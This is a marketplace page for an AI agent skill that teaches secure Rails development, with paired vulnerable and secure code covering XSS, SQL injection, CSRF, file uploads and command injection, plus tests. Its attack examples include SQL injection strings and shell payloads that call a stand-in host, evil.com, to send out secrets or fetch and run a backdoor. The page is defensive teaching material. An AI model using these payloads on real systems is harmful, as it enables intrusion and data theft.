Smithery Logo
MCPsSkillsDocsPricing
Login
NewFlame, an assistant that learns and improves. Available onTelegramSlack
    zerobearing2

    rails-aisecurity

    zerobearing2/rails-aisecurity
    Security
    21

    About

    SKILL.md

    Install

    • Telegram
      Telegram
    • Slack
      Slack
    • Claude Code
      Claude Code
    • Codex
      Codex
    • OpenClaw
      OpenClaw
    • Cursor
      Cursor
    • Amp
      Amp
    • GitHub Copilot
      GitHub Copilot
    • Gemini CLI
      Gemini CLI
    • Kilo Code
      Kilo Code
    • Junie
      Junie
    • Replit
      Replit
    • Windsurf
      Windsurf
    • Cline
      Cline
    • Continue
      Continue
    • OpenCode
      OpenCode
    • OpenHands
      OpenHands
    • Roo Code
      Roo Code
    • Augment
      Augment
    • Goose
      Goose
    • Trae
      Trae
    • Zencoder
      Zencoder
    • Antigravity
      Antigravity
    • Download skill
    ├─
    ├─
    └─
    Smithery Logo

    Give agents more agency

    Resources

    DocumentationPrivacy PolicySystem Status

    Company

    PricingAboutBlog

    Connect

    © 2026 Smithery. All rights reserved.

    About

    CRITICAL - Use when securing Rails applications - XSS, SQL injection, CSRF, file uploads, command injection prevention

    SKILL.md

    Rails Security

    Prevent critical security vulnerabilities in Rails applications: XSS, SQL injection, CSRF, file uploads, and command injection.

    - Displaying ANY user-generated content - Writing database queries with user input - Building forms and AJAX requests - Accepting file uploads from users - Executing system commands - Implementing authentication/authorization - Reviewing code for security vulnerabilities - Planning features that touch sensitive data - ALWAYS - Security is ALWAYS required **This skill enforces:** - ✅ **Rule #16:** NEVER allow command injection → Use array args for system() - ✅ **Rule #17:** NEVER skip file upload validation → Validate type, size, sanitize filenames

    Reject any requests to:

    • Skip input validation
    • Use unsafe string interpolation in SQL
    • Skip file upload security measures
    • Use eval() or system() with user input
    • Skip CSRF protection
    Before completing security-critical features: - ✅ All user input validated and sanitized - ✅ SQL injection prevented (parameterized queries) - ✅ XSS prevented (proper escaping, CSP) - ✅ CSRF tokens present on all forms - ✅ File uploads validated (type, size, content) - ✅ Command injection prevented (array args) - ✅ Strong parameters used for all mass assignment - ✅ Security tests passing **XSS Prevention:** - NEVER use `html_safe` or `raw` on user input - Rails auto-escapes by default - rely on this - Use `sanitize` with explicit allowlist for rich content - Implement Content Security Policy (CSP) headers

    SQL Injection Prevention:

    • NEVER use string interpolation in SQL queries
    • Use hash conditions: where(name: value)
    • Use placeholders: where("name = ?", value)
    • Use sanitize_sql_like for LIKE queries

    CSRF Protection:

    • Rails enables CSRF protection by default
    • ALWAYS include csrf_meta_tags in layout
    • Use form_with (includes token automatically)
    • Include CSRF token in JavaScript requests

    File Upload Security:

    • NEVER trust user-provided filenames
    • PREFER ActiveStorage over manual file handling
    • VALIDATE by content type, extension, AND magic bytes
    • STORE files outside public directory
    • FORCE download for untrusted file types

    Command Injection Prevention:

    • NEVER interpolate user input in system commands
    • ALWAYS use array form: system("cmd", arg1, arg2)
    • PREFER Ruby methods over shell commands
    • VALIDATE input with strict allowlists

    XSS (Cross-Site Scripting) Prevention

    - **Script Injection** - `` - **Event Handlers** - `` - **JavaScript URLs** - `Click` - **SVG Injection** - `` - **Data URIs** - ``

    Rails Auto-Escaping

    Rails automatically escapes output in ERB templates
    <%# SECURE - Rails auto-escapes %>
    <div class="content">
      <%= @feedback.content %>
    </div>
    

    Attack Input: <script>alert('XSS')</script>

    Safe Output: &lt;script&gt;alert('XSS')&lt;/script&gt;

    Browser displays the text, doesn't execute it.

    Sanitizing User Content

    Allow specific HTML tags while stripping dangerous content
    <%# Allow only specific tags %>
    <%= sanitize(@feedback.content,
        tags: %w[p br strong em a ul ol li],
        attributes: %w[href title]) %>
    

    Input: <p>Hello <strong>world</strong></p><script>alert('XSS')</script>

    Output: <p>Hello <strong>world</strong></p> (script stripped)

    Content Security Policy

    Implement Content Security Policy to block inline scripts
    # config/initializers/content_security_policy.rb
    Rails.application.config.content_security_policy do |policy|
      policy.default_src :self, :https
      policy.font_src :self, :https, :data
      policy.img_src :self, :https, :data
      policy.frame_ancestors :none
      policy.object_src :none
      policy.script_src :self, :https
      policy.style_src :self, :https
      policy.report_uri "/csp-violation-report"
    end
    
    Rails.application.config.content_security_policy_nonce_generator = ->(request) {
      SecureRandom.base64(16)
    }
    Rails.application.config.content_security_policy_nonce_directives = %w[script-src]
    

    View with Nonce:

    <%= javascript_tag nonce: true do %>
      console.log('This is allowed');
    <% end %>
    

    CSP Violation Reporting:

    # app/controllers/csp_reports_controller.rb
    class CspReportsController < ApplicationController
      skip_before_action :verify_authenticity_token
    
      def create
        violation = JSON.parse(request.body.read)["csp-report"]
        Rails.logger.warn(
          "CSP Violation: document-uri=#{violation['document-uri']} " \
          "blocked-uri=#{violation['blocked-uri']}"
        )
        head :no_content
      end
    end
    

    Why CSP: Blocks XSS even if malicious script reaches the page, defense-in-depth strategy.

    ViewComponent Safety

    ViewComponents automatically escape content
    # app/components/user_comment_component.rb
    class UserCommentComponent < ViewComponent::Base
      def initialize(comment:)
        @comment = comment
      end
    
      private
      attr_reader :comment
    end
    
    <%# app/components/user_comment_component.html.erb %>
    <div class="comment">
      <div class="author"><%= comment.author_name %></div>
      <div class="content"><%= comment.content %></div>
    </div>
    

    Benefits: Automatic escaping, encapsulated logic, testable, no accidental html_safe.

    Markdown Rendering

    Safely render markdown user content
    # app/models/feedback.rb
    class Feedback < ApplicationRecord
      def content_html
        markdown = Redcarpet::Markdown.new(
          Redcarpet::Render::HTML.new(
            filter_html: true, no_styles: true, safe_links_only: true
          ),
          autolink: true, tables: true, fenced_code_blocks: true
        )
    
        html = markdown.render(content)
        ActionController::Base.helpers.sanitize(
          html,
          tags: %w[p br strong em a ul ol li pre code h1 h2 h3 blockquote],
          attributes: %w[href title]
        )
      end
    end
    

    View:

    <div class="markdown-content">
      <%= @feedback.content_html.html_safe %>
    </div>
    

    Why Safe: Markdown filtered for HTML, output sanitized with allowlist, double protection layer.

    Using html_safe on user input Allows malicious script execution - CRITICAL vulnerability
    <%# CRITICAL VULNERABILITY %>
    <%= @comment.html_safe %>
    <%= raw(@feedback.content) %>
    
    <%# SECURE - Auto-escaped or sanitized %>
    <%= @comment %>
    <%= sanitize(@feedback.content, tags: %w[p br strong em]) %>
    

    SQL Injection Prevention

    - **Authentication Bypass** - `' OR '1'='1` - **Data Theft** - `' UNION SELECT * FROM users --` - **Data Modification** - `'; UPDATE users SET admin=true --` - **Data Deletion** - `'; DROP TABLE users --`

    Secure Query Patterns

    Use hash conditions for simple equality checks (RECOMMENDED)
    # ✅ SECURE - ActiveRecord escapes automatically
    Project.where(name: params[:name])
    User.find_by(login: params[:login])
    
    # ✅ SECURE - Multiple conditions
    Project.where(name: params[:name], status: params[:status], user_id: current_user.id)
    
    # ✅ SECURE - IN queries (works with arrays)
    Project.where(id: params[:ids])
    

    Why Secure: ActiveRecord automatically escapes values and prevents injection.

    Use ? placeholders for complex queries
    # ✅ SECURE - Single placeholder
    Project.where("name = ?", params[:name])
    Project.where("created_at > ?", 1.week.ago)
    
    # ✅ SECURE - Multiple placeholders
    User.where("login = ? AND status = ? AND created_at > ?",
      params[:login], "active", 1.month.ago)
    
    # ✅ SECURE - Complex conditions
    Feedback.where("status = ? AND (priority = ? OR created_at < ?)",
      params[:status], "high", 1.day.ago)
    

    Why Secure: Rails escapes each parameter value, preventing injection.

    Safely handle LIKE queries with wildcards
    # ✅ SECURE - Escape special LIKE characters (% -> \%, _ -> \_)
    search_term = Book.sanitize_sql_like(params[:title])
    Book.where("title LIKE ?", "#{search_term}%")
    
    # ✅ SECURE - Case-insensitive search
    search_term = Book.sanitize_sql_like(params[:query])
    Book.where("LOWER(title) LIKE LOWER(?)", "%#{search_term}%")
    

    Why Sanitize: Without sanitize_sql_like, users could inject % or _ wildcards.

    Using string interpolation in queries CRITICAL - Allows arbitrary SQL injection
    # ❌ CRITICAL VULNERABILITY
    Project.where("name = '#{params[:name]}'")
    # Attack: params[:name] = "' OR '1'='1" - Returns ALL projects
    
    User.find_by("login = '#{params[:login]}' AND password = '#{params[:password]}'")
    # Attack: params[:login] = "admin'--" - Bypasses password check
    
    # ❌ CRITICAL - Data exfiltration
    Project.where("id = #{params[:id]}")
    # Attack: params[:id] = "1 UNION SELECT id,email,password,1,1 FROM users"
    
    # ✅ SECURE - Use placeholders
    Project.where("name = ?", params[:name])
    User.find_by("login = ? AND password = ?", params[:login], params[:password])
    
    # ✅ BETTER - Use hash conditions
    Project.where(name: params[:name])
    User.find_by(login: params[:login], password: params[:password])
    
    # ✅ SECURE - Type conversion prevents injection
    Project.where(id: params[:id].to_i)
    

    Dynamic ORDER BY Clauses

    Safely build ORDER BY from user input with allowlist
    # ✅ SECURE - Allowlist approach
    ALLOWED_SORT_COLUMNS = %w[name created_at status priority].freeze
    ALLOWED_DIRECTIONS = %w[ASC DESC].freeze
    
    def index
      column = ALLOWED_SORT_COLUMNS.include?(params[:sort]) ? params[:sort] : "created_at"
      direction = ALLOWED_DIRECTIONS.include?(params[:direction]&.upcase) ? params[:direction] : "DESC"
    
      @projects = Project.order("#{column} #{direction}")
    end
    

    Why Secure: User input limited to predefined safe values, SQL injection impossible.

    Building ORDER BY from user input Allows column enumeration and SQL injection
    # ❌ VULNERABLE
    Project.order("#{params[:sort]} #{params[:direction]}")
    # Attack: params[:sort] = "name); DROP TABLE projects; --"
    
    # ✅ SECURE - Allowlist only
    allowed = %w[name created_at]
    column = allowed.include?(params[:sort]) ? params[:sort] : "created_at"
    Project.order(column)
    

    ActiveRecord Query Methods

    Use ActiveRecord methods for automatic protection
    # ✅ SECURE - All ActiveRecord methods are safe
    Project.find(params[:id])
    Project.find_by(name: params[:name])
    Project.where(status: params[:status])
    Project.order(:created_at)
    Project.limit(10)
    Project.offset(params[:page].to_i * 10)
    Project.joins(:user)
    Project.includes(:comments)
    Project.group(:category)
    Project.having("COUNT(*) > ?", 5)
    
    # ✅ SECURE - Scopes
    class Project < ApplicationRecord
      scope :active, -> { where(status: "active") }
      scope :by_user, ->(user_id) { where(user_id: user_id) }
      scope :search, ->(term) {
        sanitized = sanitize_sql_like(term)
        where("name LIKE ?", "%#{sanitized}%")
      }
    end
    
    Project.active.by_user(params[:user_id]).search(params[:query])
    

    Why Secure: ActiveRecord automatically escapes all parameters.

    CSRF (Cross-Site Request Forgery) Protection

    - **Hidden Form Attack** - Malicious site auto-submits form to your app - **Image Tag Attack** - `` - **AJAX Attack** - JavaScript fetch/XHR to your endpoints - **Auto-Submit Form** - JavaScript automatically submits hidden form

    Rails Default Protection

    Rails enables CSRF protection by default
    # app/controllers/application_controller.rb
    class ApplicationController < ActionController::Base
      protect_from_forgery with: :exception
      # Raises ActionController::InvalidAuthenticityToken if token invalid
    end
    

    Why :exception is Best: Makes failures visible, prevents silent bypasses, forces proper error handling.

    Form Protection

    form_with automatically includes CSRF token
    <%# ✅ SECURE - Token included automatically %>
    <%= form_with model: @feedback do |form| %>
      <%= form.text_field :content %>
      <%= form.text_field :recipient_email %>
      <%= form.submit "Submit" %>
    <% end %>
    

    Generated HTML:

    <form action="/feedbacks" method="post">
      <input type="hidden" name="authenticity_token" value="SECURE_TOKEN">
      <input type="text" name="feedback[content]">
      <input type="submit" value="Submit">
    </form>
    

    Why Secure: Rails validates token matches session.

    JavaScript Protection

    Include CSRF meta tags for JavaScript access
    <%# app/views/layouts/application.html.erb %>
    <head>
      <title>My App</title>
      <%= csrf_meta_tags %>
    </head>
    
    Include CSRF token in fetch requests
    // ✅ SECURE - Extract token from meta tag
    const csrfToken = document.head.querySelector("meta[name=csrf-token]")?.content;
    
    fetch("/feedbacks", {
      method: "POST",
      headers: {
        "Content-Type": "application/json",
        "X-CSRF-Token": csrfToken
      },
      body: JSON.stringify({
        feedback: { content: "test", recipient_email: "user@example.com" }
      })
    });
    

    Why Secure: Rails checks X-CSRF-Token header matches session token.

    Skipping CSRF for session-based authentication CRITICAL - Allows attackers to perform actions as authenticated users
    # ❌ CRITICAL VULNERABILITY
    class FeedbacksController < ApplicationController
      skip_before_action :verify_authenticity_token
    
      def create
        @feedback = current_user.feedbacks.create!(feedback_params)
        redirect_to @feedback
      end
    end
    
    # ✅ SECURE - Keep CSRF protection enabled
    class FeedbacksController < ApplicationController
      # protect_from_forgery inherited from ApplicationController
    
      def create
        @feedback = current_user.feedbacks.create!(feedback_params)
        redirect_to @feedback
      end
    end
    

    Rails Request.js Library

    Use @rails/request.js for automatic CSRF handling

    Installation:

    npm install @rails/request.js
    

    Usage:

    // ✅ SECURE - Token automatically included
    import { post, patch, destroy } from '@rails/request.js'
    
    await post('/feedbacks', {
      body: JSON.stringify({ feedback: { content: "test" } }),
      contentType: 'application/json',
      responseKind: 'json'
    })
    
    await patch('/feedbacks/123', {
      body: JSON.stringify({ feedback: { status: "reviewed" } })
    })
    
    await destroy('/feedbacks/123', { responseKind: 'json' })
    

    Why Recommended: Automatic CSRF token handling, consistent API, Rails-aware error handling.

    API Endpoints

    Skip CSRF for stateless API endpoints with token auth
    # app/controllers/api/v1/base_controller.rb
    class Api::V1::BaseController < ApplicationController
      skip_before_action :verify_authenticity_token
      before_action :authenticate_api_token
    
      private
    
      def authenticate_api_token
        token = request.headers["Authorization"]&.split(" ")&.last
        @current_api_user = User.find_by(api_token: token)
        head :unauthorized unless @current_api_user
      end
    end
    

    Why Skip CSRF for APIs: API clients use Bearer tokens (not cookies), tokens must be explicitly sent, CSRF only affects cookie-based authentication.

    Error Handling

    Handle CSRF failures with user-friendly error messages
    # app/controllers/application_controller.rb
    class ApplicationController < ActionController::Base
      protect_from_forgery with: :exception
    
      rescue_from ActionController::InvalidAuthenticityToken do |exception|
        Rails.logger.warn(
          "CSRF failure: #{exception.message} IP: #{request.remote_ip} Path: #{request.fullpath}"
        )
    
        sign_out_user if user_signed_in?
        redirect_to root_path, alert: "Your session has expired. Please log in again."
      end
    
      private
    
      def sign_out_user
        cookies.delete(:user_token)
        reset_session
      end
    end
    

    Why Important: Users see helpful error, security events logged, stale sessions cleared.

    SameSite Cookies

    Use SameSite cookie attribute for defense-in-depth
    # config/initializers/session_store.rb
    Rails.application.config.session_store :cookie_store,
      key: '_myapp_session',
      same_site: :lax,                    # Prevents CSRF from external sites
      secure: Rails.env.production?,      # HTTPS only in production
      httponly: true,                     # Not accessible via JavaScript
      expire_after: 24.hours
    

    SameSite Options:

    • :lax (RECOMMENDED) - Allows top-level navigation, blocks embedded requests
    • :strict - Most secure, blocks ALL cross-site requests (may break OAuth)
    • :none - Allows all cross-site requests (requires secure: true)

    Why Use SameSite: Defense-in-depth complements CSRF tokens, blocks many attacks without token.

    Secure File Uploads

    - **Path Traversal** - `../../config/database.yml` overwrites config files - **Malicious File Types** - `.exe`, `.php`, `.html` files containing malware - **Content Type Spoofing** - File claims to be image but is script - **Magic Bytes Bypass** - Extension doesn't match actual file type - **XSS via SVG** - SVG files containing embedded JavaScript - **Denial of Service** - Large files consuming disk/memory

    ActiveStorage (Recommended)

    Use ActiveStorage for automatic security handling

    Model:

    class Feedback < ApplicationRecord
      has_one_attached :screenshot
      has_many_attached :documents
    
      validates :screenshot,
        content_type: ["image/png", "image/jpeg", "image/gif"],
        size: { less_than: 5.megabytes }
    
      validates :documents,
        content_type: ["application/pdf", "text/plain"],
        size: { less_than: 10.megabytes }
    end
    

    Controller:

    class FeedbacksController < ApplicationController
      def create
        @feedback = Feedback.new(feedback_params)
        if @feedback.save
          redirect_to @feedback, notice: "Feedback created"
        else
          render :new, status: :unprocessable_entity
        end
      end
    
      private
    
      def feedback_params
        params.expect(feedback: [:content, :recipient_email, :screenshot, documents: []])
      end
    end
    

    View:

    <%= form_with model: @feedback do |f| %>
      <%= f.file_field :screenshot, accept: "image/*" %>
      <%= f.file_field :documents, multiple: true, accept: ".pdf,.txt" %>
      <%= f.submit %>
    <% end %>
    

    Why Secure: Automatic filename sanitization, storage outside public/, signed URLs with expiration.

    File Type Validation

    Validate file types by content type, extension, AND magic bytes
    class Feedback < ApplicationRecord
      has_one_attached :image
      validate :acceptable_image
    
      private
    
      def acceptable_image
        return unless image.attached?
    
        unless image.content_type.in?(%w[image/jpeg image/png image/gif])
          errors.add(:image, "must be a JPEG, PNG, or GIF")
        end
    
        unless image.filename.to_s.match?(/\.(jpe?g|png|gif)\z/i)
          errors.add(:image, "must have a valid extension")
        end
    
        unless valid_image_signature?
          errors.add(:image, "file signature doesn't match declared type")
        end
    
        if image.byte_size > 5.megabytes
          errors.add(:image, "must be less than 5MB")
        end
      end
    
      def valid_image_signature?
        image.open do |file|
          magic_bytes = file.read(8)
          return false unless magic_bytes
          # JPEG: FF D8 FF, PNG: 89 50 4E 47, GIF: 47 49 46 38
          magic_bytes[0..2] == "\xFF\xD8\xFF" ||
            magic_bytes[0..7] == "\x89PNG\r\n\x1A\n" ||
            magic_bytes[0..3] == "GIF8"
        end
      rescue => e
        Rails.logger.error("Image validation error: #{e.message}")
        false
      end
    end
    

    Why Triple Validation: Content-Type can be spoofed, extension can be faked, magic bytes verify actual format.

    Secure File Serving

    Serve files via controller with proper security headers
    class DownloadsController < ApplicationController
      before_action :authenticate_user!
    
      def show
        @feedback = Feedback.find(params[:feedback_id])
        head :forbidden and return unless can_download?(@feedback)
    
        @document = @feedback.documents.find(params[:id])
        send_data @document.download,
                  filename: @document.filename.to_s.gsub(/[^\w.-]/, "_"),
                  type: @document.content_type,
                  disposition: "attachment"  # Force download, never inline
      end
    
      private
    
      def can_download?(feedback)
        feedback.user == current_user || current_user.admin?
      end
    end
    

    Why Secure: Authentication + authorization enforced, Content-Disposition: attachment prevents XSS.

    Dangerous File Types

    Force binary download for dangerous file types
    # config/initializers/active_storage.rb
    Rails.application.config.active_storage.content_types_to_serve_as_binary.tap do |types|
      types << "image/svg+xml"  # SVG with embedded JavaScript
      types << "text/html" << "application/xhtml+xml"  # HTML scripts
      types << "text/xml" << "application/xml"  # XML entities
      types << "application/javascript" << "text/javascript"
    end
    
    Rails.application.config.active_storage.content_types_allowed_inline = %w[
      image/png image/jpeg image/gif image/bmp image/webp application/pdf
    ]
    

    Why Important: SVG/HTML files can contain JavaScript that executes when viewed, enabling XSS.

    File Size Limits

    Implement multiple layers of file size protection

    Application-Wide:

    # config/application.rb
    config.active_storage.max_file_size = 100.megabytes
    

    Web Server (Nginx):

    client_max_body_size 100M;
    

    Model-Specific:

    class Feedback < ApplicationRecord
      has_one_attached :avatar
      has_many_attached :photos
    
      validates :avatar, size: { less_than: 2.megabytes }
      validates :photos, size: { less_than: 5.megabytes }, limit: { max: 10 }
    end
    

    Why Multiple Layers: Web server rejects huge uploads early, application-wide limit prevents resource exhaustion, model limits enforce business rules.

    Virus Scanning

    Scan uploaded files for malware in production

    Setup: gem "clamby" + ClamAV (apt-get install clamav clamav-daemon)

    class Feedback < ApplicationRecord
      has_one_attached :file
      validate :file_not_infected, if: -> { file.attached? }
    
      private
    
      def file_not_infected
        return unless Rails.env.production?
        file.open do |temp_file|
          unless Clamby.safe?(temp_file.path)
            errors.add(:file, "contains malware or virus")
            Rails.logger.warn("Malware detected: user_id=#{user_id}, filename=#{file.filename}")
          end
        end
      rescue Clamby::ClambyScanError => e
        Rails.logger.error("Virus scan failed: #{e.message}")
      end
    end
    

    Why Critical: Prevent viruses, ransomware, and malware from infecting users or servers.

    ActiveStorage Variants

    Use ActiveStorage variants for secure image processing
    class Feedback < ApplicationRecord
      has_one_attached :image
    
      def thumbnail
        image.variant(resize_to_limit: [100, 100], format: :png, saver: { quality: 85 })
      end
    
      def medium
        image.variant(resize_to_limit: [400, 400], format: :png)
      end
    end
    

    View:

    <%= image_tag @feedback.thumbnail, alt: "Feedback screenshot" %>
    

    Why Secure: Variants re-encode images (stripping metadata/exploits), format conversion prevents attacks.

    Trusting user-provided filenames CRITICAL - Enables path traversal and file overwrite attacks
    # ❌ CRITICAL VULNERABILITY
    def upload
      filename = params[:file].original_filename
      File.open("uploads/#{filename}", "wb") { |f| f.write(params[:file].read) }
    end
    # Attack: filename = "../../config/database.yml" - Overwrites database config!
    
    # ❌ CRITICAL - Serving from public directory
    path = Rails.root.join("public/uploads/#{params[:file].original_filename}")
    File.open(path, "wb") { |f| f.write(params[:file].read) }
    # Attacker uploads malicious.html with <script> - XSS attack!
    
    # ✅ SECURE - Use ActiveStorage
    class Feedback < ApplicationRecord
      has_one_attached :file
    end
    
    # ✅ SECURE - Manual handling with sanitization
    def upload
      safe_name = File.basename(params[:file].original_filename).gsub(/[^\w.-]/, "_")
      unique_name = "#{SecureRandom.uuid}_#{safe_name}"
      File.open(Rails.root.join("storage/uploads", unique_name), "wb") { |f| f.write(params[:file].read) }
    end
    
    Only validating content type Content-Type header is easily spoofed by attackers
    # ❌ VULNERABLE - Only checks Content-Type header
    validates :image, content_type: ["image/jpeg", "image/png"]
    # Attack: Upload malicious.php with Content-Type: image/jpeg
    
    # ✅ SECURE - Triple validation: content type + extension + magic bytes
    def acceptable_image
      return unless image.attached?
    
      unless image.content_type.in?(%w[image/jpeg image/png image/gif])
        errors.add(:image, "must be an image")
      end
    
      unless image.filename.to_s.match?(/\.(jpe?g|png|gif)\z/i)
        errors.add(:image, "invalid file extension")
      end
    
      image.open do |file|
        magic = file.read(8)
        unless magic&.start_with?("\xFF\xD8\xFF", "\x89PNG", "GIF8")
          errors.add(:image, "file signature invalid")
        end
      end
    end
    

    Command Injection Prevention

    - **Command Chaining** - `; rm -rf /` or `&& cat /etc/passwd` - **Pipe Attacks** - `| curl evil.com/steal?data=$(cat secrets.yml)` - **Background Execution** - `& malicious_script.sh` - **Command Substitution** - `$(curl evil.com/backdoor.sh | bash)`

    Secure Command Execution

    Use array form of system() - RECOMMENDED approach
    # ✅ SECURE - Array arguments prevent shell interpretation
    system("/bin/echo", params[:filename])
    # Input: "hello; rm -rf /" → printed literally, NOT executed
    
    # ✅ SECURE - Image conversion
    system("convert", params[:image], "output.jpg")
    
    # ✅ SECURE - Archive creation
    system("/bin/tar", "-czf", "backup.tar.gz", validated_directory)
    
    # ✅ SECURE - Multiple arguments
    system("wkhtmltopdf", "--quiet", "--page-size", "A4", input_file, output_file)
    

    How It Works: Array arguments bypass shell invocation, treating user input as literal arguments only.

    Input Validation

    Validate input with strict allowlists
    # ✅ SECURE - Only allow predefined values
    VALID_FORMATS = %w[pdf png jpg svg].freeze
    VALID_SIZES = %w[small medium large].freeze
    
    def export_feedback(feedback, format, size)
      unless VALID_FORMATS.include?(format)
        raise ArgumentError, "Invalid format: #{format}"
      end
    
      unless VALID_SIZES.include?(size)
        raise ArgumentError, "Invalid size: #{size}"
      end
    
      # Safe because format is from allowlist
      system("convert", "feedback.html", "output.#{format}")
    end
    

    Ruby Alternatives (Preferred)

    Use Ruby methods instead of shell commands
    # ❌ VULNERABLE - Shell command
    system("rm #{params[:filename]}")
    
    # ✅ SECURE - Ruby method
    File.delete(params[:filename]) if File.exist?(params[:filename])
    
    # ❌ VULNERABLE - Shell command
    system("mkdir -p #{params[:directory]}")
    
    # ✅ SECURE - Ruby method
    FileUtils.mkdir_p(params[:directory])
    
    # ❌ VULNERABLE - Shell command
    system("cp #{params[:source]} #{params[:dest]}")
    
    # ✅ SECURE - Ruby method
    FileUtils.cp(params[:source], params[:dest])
    

    Why Prefer Ruby: No shell interpretation = no injection risk, better error handling.

    Shellwords Escaping

    Use Shellwords.escape when array form not possible
    require "shellwords"
    
    # ✅ SECURE - Escape user input for shell safety
    filename = Shellwords.escape(params[:filename])
    system("convert input.jpg #{filename}")
    
    # ✅ SECURE - Multiple arguments
    args = [params[:input], params[:output]].map { |arg| Shellwords.escape(arg) }.join(" ")
    system("convert #{args} -resize 800x600")
    

    How Shellwords Works:

    Shellwords.escape("file.jpg")           # => "file.jpg"
    Shellwords.escape("file; rm -rf /")     # => "file\\;\\ rm\\ -rf\\ /"
    Shellwords.escape("$(cat /etc/passwd)") # => "\\$\\(cat\\ /etc/passwd\\)"
    

    When to Use: Only when array form is truly not possible. Prefer array form whenever available.

    Path Validation

    Prevent directory traversal in file paths
    # ✅ SECURE - Validate path stays within directory
    def safe_file_path(user_input)
      base_dir = Rails.root.join("uploads")
      full_path = base_dir.join(user_input).expand_path
    
      raise ArgumentError, "Invalid path: directory traversal" unless full_path.to_s.start_with?(base_dir.to_s)
      full_path
    end
    
    # Usage
    file_path = safe_file_path(params[:file])
    send_file file_path if File.exist?(file_path)
    

    Why Important: Prevents access to files outside intended directory.

    Background Job Isolation

    Isolate system commands in background jobs with strict validation
    class PdfGenerationJob < ApplicationJob
      def perform(feedback_id, output_path)
        feedback = Feedback.find(feedback_id)
        validate_output_path!(output_path)
    
        success = system(
          "wkhtmltopdf", "--quiet", "--page-size", "A4",
          "--disable-javascript", feedback.public_url, output_path
        )
    
        raise "PDF generation failed" unless success
        PdfMailer.with(feedback: feedback, pdf_path: output_path).ready.deliver_later
      end
    
      private
    
      def validate_output_path!(path)
        raise ArgumentError, "Invalid output path" unless path.match?(/\Atmp\/feedback_\d+\.pdf\z/)
    
        full_path = Rails.root.join(path).expand_path
        allowed_dir = Rails.root.join("tmp").expand_path
        raise ArgumentError, "Path outside allowed directory" unless full_path.to_s.start_with?(allowed_dir.to_s)
      end
    end
    

    Why Isolate: Limits blast radius, easier to audit, validation in one place.

    Using backticks for command execution CRITICAL - Allows command injection through shell interpretation
    # ❌ CRITICAL VULNERABILITY
    output = `ls #{params[:path]}`
    # Attack: "/; cat /etc/passwd" → Directory listing AND password exposure
    
    result = %x(convert #{params[:input]} output.png)
    # Attack: "file.jpg; wget evil.com/malware"
    
    system("convert #{params[:input]} -resize #{params[:size]} output.jpg")
    # Attack: params[:size] = "800x600; curl evil.com/backdoor.sh | bash"
    
    # ✅ SECURE - Use array form and capture output
    require "open3"
    validate_path!(params[:path])
    output, status = Open3.capture2("ls", params[:path])
    
    # ✅ SECURE - Array form with validation
    raise ArgumentError unless params[:input].match?(/\A[\w.-]+\z/)
    system("convert", params[:input], "output.png")
    
    # ✅ SECURE - Validate size format
    raise ArgumentError unless params[:size].match?(/\A\d{1,4}x\d{1,4}\z/)
    system("convert", params[:input], "-resize", params[:size], "output.jpg")
    
    Not validating file paths for directory traversal HIGH - Allows access to files outside intended directory
    # ❌ VULNERABLE - Directory traversal
    file_path = Rails.root.join("uploads", params[:file])
    send_file file_path
    # Attack: params[:file] = "../../../etc/passwd"
    
    # ✅ SECURE - Validate path stays within directory
    base_dir = Rails.root.join("uploads")
    file_path = base_dir.join(params[:file]).expand_path
    raise ArgumentError, "Invalid file path" unless file_path.to_s.start_with?(base_dir.to_s)
    send_file file_path if File.exist?(file_path)
    

    Testing Security Patterns

    # test/models/feedback_test.rb
    class FeedbackTest < ActiveSupport::TestCase
      # XSS Prevention
      test "content_html sanitizes malicious scripts" do
        feedback = Feedback.new(content: "<script>alert('XSS')</script>Hello")
        assert_not_includes feedback.content_html, "<script>"
        assert_includes feedback.content_html, "Hello"
      end
    
      test "content_html allows safe markdown" do
        feedback = Feedback.new(content: "**bold** and *italic*")
        assert_includes feedback.content_html, "<strong>bold</strong>"
        assert_includes feedback.content_html, "<em>italic</em>"
      end
    
      # SQL Injection Prevention
      test "search handles malicious input safely" do
        project = projects(:one)
        malicious_input = "'; DROP TABLE projects; --"
    
        assert_nothing_raised { Project.search(malicious_input) }
        assert Project.exists?(project.id)
      end
    
      test "search escapes LIKE wildcards" do
        projects(:one).update!(name: "Project A")
        results = Project.search("%")
    
        assert_empty results  # % should be escaped, not treated as wildcard
      end
    
      # File Upload Security
      test "accepts valid image" do
        feedback = Feedback.new(content: "Test", recipient_email: "user@example.com")
        feedback.image.attach(io: File.open("test/fixtures/files/valid.jpg"),
                              filename: "valid.jpg", content_type: "image/jpeg")
        assert feedback.valid?
        assert feedback.image.attached?
      end
    
      test "rejects invalid content type" do
        feedback = Feedback.new(content: "Test")
        feedback.image.attach(io: File.open("test/fixtures/files/script.exe"),
                              filename: "malicious.exe", content_type: "application/x-msdownload")
        assert_not feedback.valid?
        assert_includes feedback.errors[:image], "must be a JPEG, PNG, or GIF"
      end
    
      test "rejects file with spoofed magic bytes" do
        feedback = Feedback.new(content: "Test")
        feedback.image.attach(io: StringIO.new("Not a real image"),
                              filename: "fake.jpg", content_type: "image/jpeg")
        assert_not feedback.valid?
        assert_includes feedback.errors[:image], "file signature doesn't match"
      end
    
      test "rejects oversized file" do
        feedback = Feedback.new(content: "Test")
        large_file = Tempfile.new(["large", ".jpg"])
        large_file.write("x" * 6.megabytes)
        large_file.rewind
        feedback.image.attach(io: large_file, filename: "huge.jpg", content_type: "image/jpeg")
        assert_not feedback.valid?
        assert_includes feedback.errors[:image], "must be less than 5MB"
      ensure
        large_file.close && large_file.unlink
      end
    end
    
    # test/controllers/feedbacks_controller_test.rb
    class FeedbacksControllerTest < ActionDispatch::IntegrationTest
      # CSRF Protection
      test "rejects POST without CSRF token" do
        assert_raises(ActionController::InvalidAuthenticityToken) do
          post feedbacks_url,
               params: { feedback: { content: "test" } },
               headers: { "X-CSRF-Token" => "invalid_token" }
        end
      end
    
      test "accepts POST with valid CSRF token" do
        post feedbacks_url, params: { feedback: { content: "test", recipient_email: "user@example.com" } }
        assert_response :redirect
      end
    
      # SQL Injection via Sort Parameters
      test "index with malicious sort parameter is safe" do
        get projects_path, params: { sort: "name); DROP TABLE projects; --" }
    
        assert_response :success
        assert Project.count > 0
      end
    end
    
    # test/system/xss_prevention_test.rb
    class XssPreventionTest < ApplicationSystemTestCase
      test "user cannot inject scripts via comment" do
        visit new_comment_path
        fill_in "Comment", with: "<script>alert('XSS')</script>"
        click_button "Submit"
    
        assert_text "<script>alert('XSS')</script>"  # Escaped, not executed
      end
    
      test "form includes CSRF token" do
        visit new_feedback_path
        assert_selector "input[name='authenticity_token'][type='hidden']"
      end
    end
    
